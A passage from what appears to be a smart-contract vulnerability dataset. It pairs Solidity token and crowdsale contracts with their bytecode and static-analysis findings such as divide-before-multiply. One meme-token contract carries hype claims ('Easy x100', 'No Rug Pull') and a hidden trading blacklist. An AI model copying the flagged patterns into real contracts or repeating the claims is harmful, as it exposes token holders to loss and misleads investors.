emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed varriables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
/**
* @title BulldogCoin
* @dev Contract to create the Bulldog Coin
**/
contract BulldogCoin is CrowdsaleToken {
string public constant name = "Bulldog Coin";
string public constant symbol = "BULLDOG";
uint32 public constant decimals = 1;
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461036d578063095ea7b3146103f757806318160ddd1461042f57806323b872dd14610456578063313ce56714610480578063355274ea146104ae578063518ab2a8146104c357806366188463146104d857806370a08231146104fc57806389311e6f1461051d5780638da5cb5b14610534578063903a3ef61461056557806395d89b411461057a578063a9059cbb1461058f578063bf583903146105b3578063c7876ea4146105c8578063cbcb3171146105dd578063d73dd623146105f2578063dd62ed3e14610616578063f2fde38b1461063d575b600080808080600160055474010000000000000000000000000000000000000000900460ff16600281111561014257fe5b1461014c57600080fd5b6000341161015957600080fd5b60045460001061016857600080fd5b34945061019a670de0b6b3a764000061018e876627f7d0bdb9200063ffffffff61065e16565b9063ffffffff61068d16565b935060009250673e733628714200006101be856003546106a290919063ffffffff16565b111561022c576003546101e090673e733628714200009063ffffffff6106af16565b9150610211670de0b6b3a7640000610205846627f7d0bdb9200063ffffffff61068d16565b9063ffffffff61065e16565b9050610223858263ffffffff6106af16565b92508094508193505b60035461023f908563ffffffff6106a216565b600381905561025d90673e733628714200009063ffffffff6106af16565b60045560008311156102bd57604051339084156108fc029085906000818181858888f19350505050158015610296573d6000803e3d6000fd5b5060408051848152905133913091600080516020610e188339815191529181900360200190a35b336000908152602081905260409020546102dd908563ffffffff6106a216565b3360008181526020818152604091829020939093558051878152905191923092600080516020610e188339815191529281900390910190a3600154610328908563ffffffff6106a216565b600155600554604051600160a060020a039091169086156108fc029087906000818181858888f19350505050158015610365573d6000803e3d6000fd5b505050505050005b34801561037957600080fd5b506103826106c1565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103bc5781810151838201526020016103a4565b50505050905090810190601f1680156103e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040357600080fd5b5061041b600160a060020a03600435166024356106f8565b604080519115158252519081900360200190f35b34801561043b57600080fd5b5061044461075e565b60408051918252519081900360200190f35b34801561046257600080fd5b5061041b600160a060020a0360043581169060243516604435610764565b34801561048c57600080fd5b506104956108c9565b6040805163ffffffff9092168252519081900360200190f35b3480156104ba57600080fd5b506104446108ce565b3480156104cf57600080fd5b506104446108da565b3480156104e457600080fd5b5061041b600160a060020a03600435166024356108e0565b34801561050857600080fd5b50610444600160a060020a03600435166109d0565b34801561052957600080fd5b506105326109eb565b005b34801561054057600080fd5b50610549610a6f565b60408051600160a060020a039092168252519081900360200190f35b34801561057157600080fd5b50610532610a7e565b34801561058657600080fd5b50610382610ad5565b34801561059b57600080fd5b5061041b600160a060020a0360043516602435610b0c565b3480156105bf57600080fd5b50610444610bdb565b3480156105d457600080fd5b50610444610be1565b3480156105e957600080fd5b50610444610bec565b3480156105fe57600080fd5b5061041b600160a060020a0360043516602435610bf8565b34801561062257600080fd5b50610444600160a060020a0360043581169060243516610c91565b34801561064957600080fd5b50610532600160a060020a0360043516610cbc565b600082151561066f57506000610687565b5081810281838281151561067f57fe5b041461068757fe5b92915050565b6000818381151561069a57fe5b049392505050565b8181018281101561068757fe5b6000828211156106bb57fe5b50900390565b60408051808201909152600c81527f42756c6c646f6720436f696e0000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561077b57600080fd5b600160a060020a0384166000908152602081905260409020548211156107a057600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107d057600080fd5b600160a060020a0384166000908152602081905260409020546107f9908363ffffffff6106af16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461082e908363ffffffff6106a216565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610870908363ffffffff6106af16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610e18833981519152929181900390910190a35060019392505050565b600181565b673e7336287142000081565b60035481565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561093557336000908152600260209081526040808320600160a060020a038816845290915281205561096a565b610945818463ffffffff6106af16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600554600160a060020a03163314610a0257600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610a2d57fe5b1415610a3857600080fd5b6005805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600554600160a060020a031681565b600554600160a060020a03163314610a9557600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610ac057fe5b1415610acb57600080fd5b610ad3610d51565b565b60408051808201909152600781527f42554c4c444f4700000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610b2357600080fd5b33600090815260208190526040902054821115610b3f57600080fd5b33600090815260208190526040902054610b5f908363ffffffff6106af16565b3360009081526020819052604080822092909255600160a060020a03851681522054610b91908363ffffffff6106a216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610e188339815191529281900390910190a350600192915050565b60045481565b6627f7d0bdb9200081565b670c7d713b49da000081565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c2c908363ffffffff6106a216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600554600160a060020a03163314610cd357600080fd5b600160a060020a0381161515610ce857600080fd5b600554604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6005805474ff000000000000000000000000000000000000000019167402000000000000000000000000000000000000000017905560045460001015610dda57600454600554600160a060020a0316600090815260208190526040902054610dbe9163ffffffff6106a216565b600554600160a060020a03166000908152602081905260409020555b600554604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610e14573d6000803e3d6000fd5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f4a192560bd12f4f511f5df8f93ef60680d54c913d5abbe54217b392b9ca79d30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 1,649 |
0x422658ED565e401a8112c5069A65C960dCC83bb0
|
// Copyright (C) 2020 Easy Chain. <https://easychain.tech>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.5;
pragma experimental ABIEncoderV2;
interface ERC20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
}
struct ProtocolBalance {
ProtocolMetadata metadata;
AdapterBalance[] adapterBalances;
}
struct ProtocolMetadata {
string name;
string description;
string websiteURL;
string iconURL;
uint256 version;
}
struct AdapterBalance {
AdapterMetadata metadata;
FullTokenBalance[] balances;
}
struct AdapterMetadata {
address adapterAddress;
string adapterType; // "Asset", "Debt"
}
// token and its underlying tokens (if exist) balances
struct FullTokenBalance {
TokenBalance base;
TokenBalance[] underlying;
}
struct TokenBalance {
TokenMetadata metadata;
uint256 amount;
}
// ERC20-style token metadata
// 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE address is used for ETH
struct TokenMetadata {
address token;
string name;
string symbol;
uint8 decimals;
}
struct Component {
address token;
string tokenType; // "ERC20" by default
uint256 rate; // price per full share (1e18)
}
/**
* @title Token adapter interface.
* @dev getMetadata() and getComponents() functions MUST be implemented.
* @author Igor Sobolev <sobolev@zerion.io>
*/
interface TokenAdapter {
/**
* @dev MUST return TokenMetadata struct with ERC20-style token info.
* struct TokenMetadata {
* address token;
* string name;
* string symbol;
* uint8 decimals;
* }
*/
function getMetadata(address token) external view returns (TokenMetadata memory);
/**
* @dev MUST return array of Component structs with underlying tokens rates for the given token.
* struct Component {
* address token; // Address of token contract
* string tokenType; // Token type ("ERC20" by default)
* uint256 rate; // Price per share (1e18)
* }
*/
function getComponents(address token) external view returns (Component[] memory);
}
/**
* @title Protocol adapter interface.
* @dev adapterType(), tokenType(), and getBalance() functions MUST be implemented.
* @author Igor Sobolev <sobolev@zerion.io>
*/
interface ProtocolAdapter {
/**
* @dev MUST return "Asset" or "Debt".
* SHOULD be implemented by the public constant state variable.
*/
function adapterType() external pure returns (string memory);
/**
* @dev MUST return token type (default is "ERC20").
* SHOULD be implemented by the public constant state variable.
*/
function tokenType() external pure returns (string memory);
/**
* @dev MUST return amount of the given token locked on the protocol by the given account.
*/
function getBalance(address token, address account) external view returns (uint256);
}
struct TypedToken {
string tokenType;
address token;
}
interface IBerezkaTokenAdapterGovernance {
function listTokens() external view returns (TypedToken[] memory);
function listProtocols() external view returns (address[] memory);
function listEthProtocols() external view returns (address[] memory);
function listProducts() external view returns (address[] memory);
function getVaults(address _token) external view returns (address[] memory);
}
interface IBerezkaTokenAdapterStakingGovernance {
function listStakings() external view returns (address[] memory);
}
/**
* @title Token adapter for Berezka DAO.
* @dev Implementation of TokenAdapter interface.
* @author Vasin Denis <denis.vasin@easychain.tech>
*/
contract BerezkaTokenAdapter is TokenAdapter {
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
string internal constant ERC20_TOKEN = "ERC20";
IBerezkaTokenAdapterGovernance immutable private governance;
IBerezkaTokenAdapterStakingGovernance immutable private stakingGovernance;
constructor(address _governance, address _stakingGovernance) public {
governance = IBerezkaTokenAdapterGovernance(_governance);
stakingGovernance = IBerezkaTokenAdapterStakingGovernance(_stakingGovernance);
}
/**
* @return TokenMetadata struct with ERC20-style token info.
* @dev Implementation of TokenAdapter interface function.
*/
function getMetadata(address token)
external
view
override
returns (TokenMetadata memory)
{
return TokenMetadata({
token: token,
name: ERC20(token).name(),
symbol: ERC20(token).symbol(),
decimals: ERC20(token).decimals()
});
}
/**
* @return Array of Component structs with underlying tokens rates for the given token.
* @dev Implementation of TokenAdapter interface function.
*/
function getComponents(address token)
external
view
override
returns (Component[] memory)
{
address[] memory vaults = governance.getVaults(token);
TypedToken[] memory assets = governance.listTokens();
address[] memory debtAdapters = governance.listProtocols();
address[] memory stakingAdapters = stakingGovernance.listStakings();
uint256 length = assets.length;
uint256 totalSupply = ERC20(token).totalSupply();
Component[] memory underlyingTokens = new Component[](1 + length);
// Handle ERC20 assets + debt
for (uint256 i = 0; i < length; i++) {
Component memory tokenComponent =
_getTokenComponents(
assets[i].token,
assets[i].tokenType,
vaults,
debtAdapters,
stakingAdapters,
totalSupply
);
underlyingTokens[i] = tokenComponent;
}
// Handle ETH
{
Component memory ethComponent = _getEthComponents(vaults, totalSupply);
underlyingTokens[length] = ethComponent;
}
return underlyingTokens;
}
// Internal functions
function _getEthComponents(
address[] memory _vaults,
uint256 _totalSupply
)
internal
view
returns (Component memory)
{
address[] memory debtsInEth = governance.listEthProtocols();
uint256 ethBalance = 0;
uint256 ethDebt = 0;
// Compute negative amount for a given asset using all debt adapters
for (uint256 j = 0; j < _vaults.length; j++) {
address vault = _vaults[j];
ethBalance += vault.balance;
ethDebt += _computeDebt(debtsInEth, ETH, vault);
}
return Component({
token: ETH,
tokenType: ERC20_TOKEN,
rate: (ethBalance * 1e18 / _totalSupply) - (ethDebt * 1e18 / _totalSupply)
});
}
function _getTokenComponents(
address _asset,
string memory _type,
address[] memory _vaults,
address[] memory _debtAdapters,
address[] memory _stakingAdapters,
uint256 _totalSupply
)
internal
view
returns (Component memory)
{
uint256 componentBalance = 0;
uint256 componentStakingBalance = 0;
uint256 componentDebt = 0;
// Compute positive amount for a given asset
uint256 vaultsLength = _vaults.length;
for (uint256 j = 0; j < vaultsLength; j++) {
address vault = _vaults[j];
componentBalance += ERC20(_asset).balanceOf(vault);
componentStakingBalance += _computeStakingBalance(_stakingAdapters, _asset, vault);
componentDebt += _computeDebt(_debtAdapters, _asset, vault);
}
// Asset amount
return(Component({
token: _asset,
tokenType: _type,
rate: (componentBalance * 1e18 / _totalSupply) + (componentStakingBalance * 1e18 / _totalSupply) - (componentDebt * 1e18 / _totalSupply)
}));
}
function _computeDebt(
address[] memory _debtAdapters,
address _asset,
address _vault
)
internal
view
returns (uint256)
{
// Compute negative amount for a given asset using all debt adapters
uint256 componentDebt = 0;
uint256 debtsLength = _debtAdapters.length;
for (uint256 k = 0; k < debtsLength; k++) {
ProtocolAdapter debtAdapter = ProtocolAdapter(_debtAdapters[k]);
try debtAdapter.getBalance(_asset, _vault) returns (uint256 _amount) {
componentDebt += _amount;
} catch {} // solhint-disable-line no-empty-blocks
}
return componentDebt;
}
function _computeStakingBalance(
address[] memory _stakingAdapters,
address _asset,
address _vault
)
internal
view
returns (uint256)
{
// Compute positive staking amount for a given asset using all staking adapters
uint256 componentStakingBalance = 0;
uint256 stakingsLength = _stakingAdapters.length;
for (uint256 k = 0; k < stakingsLength; k++) {
ProtocolAdapter stakingAdapter = ProtocolAdapter(_stakingAdapters[k]);
try stakingAdapter.getBalance(_asset, _vault) returns (uint256 _amount) {
componentStakingBalance += _amount;
} catch {} // solhint-disable-line no-empty-blocks
}
return componentStakingBalance;
}
}
|
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80632a50c1461461003b57806379b1833414610064575b600080fd5b61004e610049366004610b18565b610084565b60405161005b9190610e07565b60405180910390f35b610077610072366004610b18565b610216565b60405161005b9190610d7e565b61008c610a52565b6040518060800160405280836001600160a01b03168152602001836001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b1580156100df57600080fd5b505afa1580156100f3573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261011b9190810190610cb0565b8152602001836001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561015957600080fd5b505afa15801561016d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526101959190810190610cb0565b8152602001836001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156101d357600080fd5b505afa1580156101e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061020b9190610d03565b60ff16905292915050565b6060807f000000000000000000000000bc7166dee7b0d157fa949d4b7c0cc75982f3ae146001600160a01b031663fe7c9c92846040518263ffffffff1660e01b81526004016102659190610d50565b60006040518083038186803b15801561027d57600080fd5b505afa158015610291573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526102b99190810190610b3b565b905060607f000000000000000000000000bc7166dee7b0d157fa949d4b7c0cc75982f3ae146001600160a01b0316637488ff766040518163ffffffff1660e01b815260040160006040518083038186803b15801561031657600080fd5b505afa15801561032a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526103529190810190610bdc565b905060607f000000000000000000000000bc7166dee7b0d157fa949d4b7c0cc75982f3ae146001600160a01b0316630aa1f4e06040518163ffffffff1660e01b815260040160006040518083038186803b1580156103af57600080fd5b505afa1580156103c3573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526103eb9190810190610b3b565b905060607f0000000000000000000000008f8a4d60dc8ce809ca5c37d71295cf1bc06db7c76001600160a01b0316633efecf956040518163ffffffff1660e01b815260040160006040518083038186803b15801561044857600080fd5b505afa15801561045c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526104849190810190610b3b565b90506000835190506000876001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104c757600080fd5b505afa1580156104db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ff9190610ceb565b905060608260010167ffffffffffffffff8111801561051d57600080fd5b5060405190808252806020026020018201604052801561055757816020015b610544610a86565b81526020019060019003908161053c5790505b50905060005b838110156105cc5761056d610a86565b6105a988838151811061057c57fe5b60200260200101516020015189848151811061059457fe5b6020026020010151600001518b8a8a89610606565b9050808383815181106105b857fe5b60209081029190910101525060010161055d565b506105d5610a86565b6105df8884610750565b9050808285815181106105ee57fe5b60209081029190910101525098975050505050505050565b61060e610a86565b845160009081908190815b818110156106e05760008a828151811061062f57fe5b602002602001015190508c6001600160a01b03166370a08231826040518263ffffffff1660e01b81526004016106659190610d50565b60206040518083038186803b15801561067d57600080fd5b505afa158015610691573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b59190610ceb565b860195506106c4898e836108d9565b850194506106d38a8e8361099b565b9093019250600101610619565b5060405180606001604052808c6001600160a01b031681526020018b81526020018784670de0b6b3a7640000028161071457fe5b048886670de0b6b3a7640000028161072857fe5b048988670de0b6b3a7640000028161073c57fe5b04010390529b9a5050505050505050505050565b610758610a86565b60607f000000000000000000000000bc7166dee7b0d157fa949d4b7c0cc75982f3ae146001600160a01b0316639bb6dfca6040518163ffffffff1660e01b815260040160006040518083038186803b1580156107b357600080fd5b505afa1580156107c7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107ef9190810190610b3b565b9050600080805b865181101561085257600087828151811061080d57fe5b60200260200101519050806001600160a01b031631840193506108458573eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee8361099b565b90920191506001016107f6565b50604051806060016040528073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b0316815260200160405180604001604052806005815260200164045524332360dc1b81525081526020018683670de0b6b3a764000002816108b757fe5b048785670de0b6b3a764000002816108cb57fe5b040390529695505050505050565b82516000908190815b818110156109905760008782815181106108f857fe5b60200260200101519050806001600160a01b031663d4fac45d88886040518363ffffffff1660e01b8152600401610930929190610d64565b60206040518083038186803b15801561094857600080fd5b505afa925050508015610978575060408051601f3d908101601f1916820190925261097591810190610ceb565b60015b61098157610987565b93909301925b506001016108e2565b509095945050505050565b82516000908190815b818110156109905760008782815181106109ba57fe5b60200260200101519050806001600160a01b031663d4fac45d88886040518363ffffffff1660e01b81526004016109f2929190610d64565b60206040518083038186803b158015610a0a57600080fd5b505afa925050508015610a3a575060408051601f3d908101601f19168201909252610a3791810190610ceb565b60015b610a4357610a49565b93909301925b506001016109a4565b604051806080016040528060006001600160a01b031681526020016060815260200160608152602001600060ff1681525090565b604051806060016040528060006001600160a01b0316815260200160608152602001600081525090565b600082601f830112610ac0578081fd5b815167ffffffffffffffff811115610ad6578182fd5b610ae9601f8201601f1916602001610e6b565b9150808252836020828501011115610b0057600080fd5b610b11816020840160208601610eb2565b5092915050565b600060208284031215610b29578081fd5b8135610b3481610ee2565b9392505050565b60006020808385031215610b4d578182fd5b825167ffffffffffffffff811115610b63578283fd5b80840185601f820112610b74578384fd5b80519150610b89610b8483610e92565b610e6b565b8281528381019082850185850284018601891015610ba5578687fd5b8693505b84841015610bd0578051610bbc81610ee2565b835260019390930192918501918501610ba9565b50979650505050505050565b60006020808385031215610bee578182fd5b825167ffffffffffffffff80821115610c05578384fd5b81850186601f820112610c16578485fd5b80519250610c26610b8484610e92565b83815284810190828601875b86811015610ca15781518501604080601f19838f03011215610c52578a8bfd5b610c5b81610e6b565b8a83015189811115610c6b578c8dfd5b610c798f8d83870101610ab0565b82525081830151610c8981610ee2565b818c0152865250509287019290870190600101610c32565b50909998505050505050505050565b600060208284031215610cc1578081fd5b815167ffffffffffffffff811115610cd7578182fd5b610ce384828501610ab0565b949350505050565b600060208284031215610cfc578081fd5b5051919050565b600060208284031215610d14578081fd5b815160ff81168114610b34578182fd5b60008151808452610d3c816020860160208601610eb2565b601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b60208082528251828201819052600091906040908185019080840286018301878501865b83811015610df957888303603f19018552815180516001600160a01b0316845287810151606089860181905290610ddb82870182610d24565b92890151958901959095525094870194925090860190600101610da2565b509098975050505050505050565b602080825282516001600160a01b03168282015282015160806040830152600090610e3560a0840182610d24565b6040850151848203601f190160608601529150610e528183610d24565b60ff606087015116608086015280935050505092915050565b60405181810167ffffffffffffffff81118282101715610e8a57600080fd5b604052919050565b600067ffffffffffffffff821115610ea8578081fd5b5060209081020190565b60005b83811015610ecd578181015183820152602001610eb5565b83811115610edc576000848401525b50505050565b6001600160a01b0381168114610ef757600080fd5b5056fea2646970667358221220aca4787b0095b7c4e40185653b6cdc33aebf488d3bcaf268e130ee94b344743464736f6c63430006050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 1,650 |
0xea3c0d91758a0dbafa81b43d6eda60c6dbc8dccd
|
/**
*
cybermoon
totalSupply : 1,000,000,000,000
liquidity : 50%
totalBurn : 45%
Marketing : 3%
team dev : 2%
***** I will add 2 ETH to the Liquidity *****
// FAIRLAUNCH
// Easy x100
// Liquidity pool locked
// Renounce
// Contract verified on Etherscan
* No Rug Pull
* Anti whales
* No presale
* 100% Community-driven
tg: https://t.me/CyberMoon21
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool) ;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract cybermoon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode" cyber moon ";
string private constant _symbol = unicode" CMOON ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
